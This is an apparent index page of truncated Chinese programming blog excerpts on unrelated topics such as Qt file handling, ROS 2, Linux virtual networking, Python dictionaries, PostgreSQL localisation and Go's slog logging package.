随着互联网的快速发展&#xff0c;越来越多的网站和应用程序提供了API接口&#xff0c;方便开发者获取数据。然而&#xff0c;为了保护数据的安全性和防止漏洞&#xff0c;一些API接口采用了JS加密技术这种加密技术使得数据在传输过程中更加安全&#xff0c;但也给爬虫开发带来…

QT基础教程之九Qt文件系统

QT基础教程之九Qt文件系统 文件操作是应用程序必不可少的部分。Qt 作为一个通用开发库&#xff0c;提供了跨平台的文件操作能力。Qt 通过QIODevice提供了对 I/O 设备的抽象&#xff0c;这些设备具有读写字节块的能力。下面是 I/O 设备的类图&#xff08;Qt5&#xff09;&#…

ROS 2官方文档(基于humble版本)学习笔记(一)

ROS 2官方文档&#xff08;基于humble版本&#xff09;学习笔记&#xff08;一&#xff09; 一、安装ROS 2二、按教程学习1.CLI 工具配置环境使用turtlesim&#xff0c;ros2和rqt安装 turtlesim启动 turtlesim使用 turtlesim安装 rqt使用 rqt重映射关闭turtlesim 由于市面上专门…

浅析Linux虚拟网络技术

文章目录 概述Tap/tun设备tun/tap的工作机制 Bridge网桥Bridge的工作机制Bridge IP 相关参考 概述 在传统的网络环境中&#xff0c;一台物理主机包含一张或多张网卡&#xff0c;要实现与其它物理主机之间的通信&#xff0c;需要将自身的网卡通过路由器或者交换机连接到外部的物…

Python零基础超详细教程:字典(Dictionary)相关介绍使用

前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! Python字典是另一种可变容器模型&#xff0c; 且可存储任意类型对象&#xff0c;如字符串、数字、元组等其他容器模型。 python更多源码/资料/解答/教程等 点击此处跳转文末名片免费获取 一、创建字典 字典由键和对应值…

ThreeJS 模型中内嵌文字

之前有过模型中内嵌html网页&#xff0c;地址☞threeJS 模型中加载html页面_threejs 加载dom元素_小菜花29的博客-CSDN博客 这次是纯粹的在模型中嵌入文本信息&#xff0c;进行简单的文字展示 展示效果图 1. 使用FontLoader文字加载器 引入文本json文件&#xff0c;代码如下…

事务的总结

数据库事务 数据库事务是一个被视为单一的工作单元的操作序列。这些操作应该要么完整地执行&#xff0c;要么完全不执行。事务管理是一个重要组成部分&#xff0c;RDBMS 面向企业应用程序&#xff0c;以确保数据完整性和一致性。事务的概念可以描述为具有以下四个关键属性描述…

04-过滤器和拦截器有什么区别?【Java面试题总结】

过滤器和拦截器有什么区别&#xff1f; 运行顺序不同&#xff1a;过滤器是在 Servlet 容器接收到请求之后&#xff0c;但在 Servlet被调用之前运行的&#xff1b;而拦截器则是在Servlet 被调用之后&#xff0c;但在响应被发送到客户端之前运行的。 过滤器Filter 依赖于 Servle…

VB.NET 如何将某个Excel的工作表中复制到另一个的Excel中的工作表中https://bbs.csdn.net/topics/392861034

参考http://share.freesion.com/306372/可以实现直接拷贝指定表 Private Sub Excel复制工作簿()Dim myExcelApp As New Microsoft.Office.Interop.Excel.ApplicationmyExcelApp.Workbooks.Open(System.Environment.CurrentDirectory "\\测试用例.xlsx", Type.Missin…

PostgreSQL本地化

本地化的概念 本地化的目的是支持不同国家、地区的语言特性、规则。比如拥有本地化支持后&#xff0c;可以使用支持汉语、法语、日语等等的字符集。除了字符集以外&#xff0c;还有字符排序规则和其他语言相关规则的支持&#xff0c;例如我们知道(‘a’,‘b’)该如何排序&…

React-native环境配置与项目搭建

基础环境搭建 安装 node.js &#xff08;版本>12 ,推荐安装LTS稳定版本&#xff09; 安装 Yarn &#xff08;npm install -g yarn&#xff09; 安装 react native 脚手架 (npm install -g react-native-cli) windows 只能搭建Android 开发环境 Mac 下既能搭建Android 环境&…

使用PAM保障开发运营安全

硬编码凭据和 DevOps 系统中缺乏凭据安全性是组织的巨大漏洞。以明文形式访问凭据的恶意内部人员可以在 IT 中建立和扩展其立足点 基础设施&#xff0c;构成巨大的数据被盗风险。 什么是PAM 特权访问管理 &#xff08;PAM&#xff09; 是指一组 IT 安全管理原则&#xff0c;可…

合宙Air724UG LuatOS-Air LVGL API控件--日历 (Calendar)

日历 (Calendar) LVGL 提供了一个用来选择和显示当前日期的日历控件。 示例代码 – 高亮显示的日期 highlightDate lvgl.calendar_date_t() – 日历点击的回调函数 – 将点击日期设置高亮 function event_handler(obj, event) if event lvgl.EVENT_VALUE_CHANGED then da…

ITMS介绍

ITMS&#xff08;Integrated Terminal Management System&#xff09;&#xff0c;终端综合管理系统。 主要用于家庭网关的设备注册&#xff0c;初始化自动配置&#xff0c;软件版本升级&#xff0c;远程故障诊断修复和设备监控等。它通过北向连接服开系统用于接收业务工单&am…

汽车自适应巡航系统控制策略研究

目 录 第一章 绪论 .............................................................................................................................. 1 1.1 研究背景及意义 ..........................................................................................…

已解决下载安装Python官网安装包下载速度慢问题

本文摘要&#xff1a;本文已解决下载安装Python官网安装包下载速度慢的问题。 &#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究…

无涯教程-机器学习 - 矩阵图函数

相关性是有关两个变量之间变化的指示&#xff0c;在前面的章节中&#xff0c;无涯教程讨论了Pearson的相关系数以及相关的重要性&#xff0c;可以绘制相关矩阵以显示哪个变量相对于另一个变量具有较高或较低的相关性。 在以下示例中&#xff0c;Python脚本将为Pima印度糖尿病数…

LNMP架构:搭建Discuz论坛

文章目录 1. 编译安装Nginx1.1 前置准备1.2 编译安装1.3 添加nginx系统服务 2.编译安装MySql2.1 前置准备2.2 编译安装2.3 修改mysql 配置文件2.4 设置路径环境变量2.5 初始化数据库2.6 添加musql系统服务2.7 修改MySql登录密码 3. 编译安装PHP3.1 前置准备3.2 编译安装3.3 复制…

【Datawhale】AI夏令营第三期——基于论文摘要的文本分类笔记(上)

暑期参加了Datawhale的第三期AI夏令营&#xff0c;学习的是NLP方向&#xff0c;在此期间&#xff0c;我们通过比赛打榜的形式进行NLP的学习。今天&#xff0c;主要分享和记录一下这一期夏令营的学习历程和笔记。 文章目录 赛题背景赛题任务赛题数据集评价指标解题思路任务一&am…

slog正式版来了:Go日志记录新选择!

在大约一年前&#xff0c;我就写下了《slog&#xff1a;Go官方版结构化日志包[1]》一文&#xff0c;文中介绍了Go团队正在设计并计划在下一个Go版本中落地的Go官方结构化日志包&#xff1a;slog[2]。但slog并未如预期在Go 1.20版本[3]中落地&#xff0c;而是在golang.org/x/exp…